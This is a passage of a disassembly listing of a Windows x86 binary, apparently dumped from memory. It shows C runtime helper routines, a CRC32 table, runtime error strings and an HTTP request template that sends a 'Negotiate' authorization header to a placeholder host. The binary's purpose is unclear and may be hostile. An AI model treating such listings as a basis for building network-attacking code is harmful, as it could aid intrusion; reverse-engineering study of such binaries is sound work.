		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9DC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC70
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		call	near ptr 260007Fh
		nop
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC70, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 260007Fh
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2801098h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2801098h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DBA14


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F74o

; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A9
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Do
		mov	eax, offset dword_427F48
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FA4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Fo
		mov	eax, offset dword_427F78
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Co
		mov	eax, offset dword_427FA8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428008
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280C4
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280E8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428148
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25D0000h, 25E0000h, 25E071Eh, 25F0000h, 25F0B98h
		dd 25F0BCEh, 2600000h, 260007Fh, 2610000h, 261081Fh, 2610C9Bh
		dd 2620000h, 26206F1h, 26208C3h
dword_42703C	dd 26208E7h		; DATA XREF: ___:004231D9r
		dd 26209A6h, 2620C97h, 2620D1Ch, 2630000h, 2640000h, 2650000h
		dd 2660000h, 266038Dh, 26608B7h, 77E75CB5h
dword_427068	dd 26608E3h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2660B96h, 2670000h, 26709DBh
dword_427078	dd 2670EC6h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Cr ...
dword_42707C	dd 2680000h		; DATA XREF: ___:004015E2r
					; sub_410CD6+32r
		dd 268018Ah
dword_427084	dd 2680289h		; DATA XREF: sub_4196BD+B9r
		dd 268081Bh
dword_42708C	dd 2680867h		; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090	dd 2680897h		; DATA XREF: ___:loc_4013DCr
		dd 2680B8Ah, 2680C71h
dword_42709C	dd 2680DC2h		; DATA XREF: sub_409B13+2r
		dd 2690000h, 26900E5h
dword_4270A8	dd 26907ACh		; DATA XREF: ___:0040124Dr
					; sub_41A4D2+8Cr
dword_4270AC	dd 269082Bh		; DATA XREF: sub_410CD6:loc_410DC2r
		dd 26A0000h, 26A0DD6h
dword_4270B8	dd 26B0000h		; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC	dd 26B037Ch		; DATA XREF: sub_409B13+11r
					; sub_416F1B+60r ...
		dd 26C0000h, 26D0000h, 26D05B2h, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E06D0h, 26E0881h, 26F0000h, 26F0839h
dword_4270E8	dd 2700000h		; DATA XREF: sub_410FF9+Br
dword_4270EC	dd 27009BAh		; DATA XREF: sub_418294+36r
		dd 2700BEAh, 2710000h
dword_4270F8	dd 271064Bh		; DATA XREF: sub_410F20+3Ar
					; sub_419C65+79r
dword_4270FC	dd 2720000h		; DATA XREF: sub_410E27+23r
					; sub_419C65+3Br
		dd 2721357h, 2730000h, 2730A95h, 2740000h, 2740991h, 2750000h
		dd 27502F0h, 2760000h, 2760B13h, 2770000h, 27700E0h, 2770217h
		dd 27709FDh, 2780000h, 2780459h
dword_42713C	dd 27807ABh		; DATA XREF: sub_416F1B+BCr
		dd 2790000h
dword_427144	dd 27A0000h		; DATA XREF: sub_4170ED+21r
					; sub_417276+4Ar
dword_427148	dd 27A09CCh		; DATA XREF: sub_4170ED+10r
					; sub_417276+40r ...
		dd 27A0A40h
dword_427150	dd 27A0D04h		; DATA XREF: sub_417276+56r
		dd 27B0000h, 27C0000h, 27D0000h, 27D0650h, 27D0C8Dh, 27E0000h
		dd 27E01C4h, 27E0803h, 27F0000h, 2800000h
dword_42717C	dd 2801098h		; DATA XREF: sub_418B59+13r
					; ___:0042324Er ...
dword_427180	dd 2810000h		; DATA XREF: sub_418C2B+Fr
					; sub_41D834+54r ...
		dd 2811094h, 2811549h, 2811989h, 2811D43h, 2820000h, 2830000h
		dd 2840000h, 2850000h, 2860000h, 2870000h, 28719A4h, 28719CAh
		dd 2880000h, 2880E2Ch, 2890000h
dword_4271C0	dd 289065Ch		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 2890791h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 2890921h, 28A0000h, 28A0701h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412661+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE3+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401ACD+347Do
					; sub_401ACD+356Do ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401ACD+389Do
					; sub_401ACD+38D3o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D031+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D031+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D07D+16Fr
					; sub_40D4B1r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D07D+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D21F+4Do
					; sub_40D561+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040DD34r
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:004166B7r
					; ___:004166D2r ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417ADE+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417ADE+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417ADE+342r
					; sub_417ADE+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417ADE+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417ADE+24Br
					; sub_417ADE+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417ADE+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417ADE+AEr
					; sub_417ADE+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417ADE+93r
					; sub_417ADE+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417ADE+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418685+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A4D2+1B0r
flt_427704	dd 8.0			; DATA XREF: sub_41A4D2+1AAr
flt_427708	dd 0.0			; DATA XREF: sub_41A4D2+171r
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A4D2+168r
dbl_427710	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_427754	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBF4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBF0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE6Co
dbl_427878	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427880	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427888	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 10h
dword_4278C0	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 10h
		dd offset sub_422228
		dd offset sub_422232
dword_4278E8	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_4278F8	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 8
		dd offset loc_422599
		dd offset loc_42259D
dword_427920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 10h
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427938	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427940	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D03Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 4
asc_427C08	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 8
dword_427C48	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
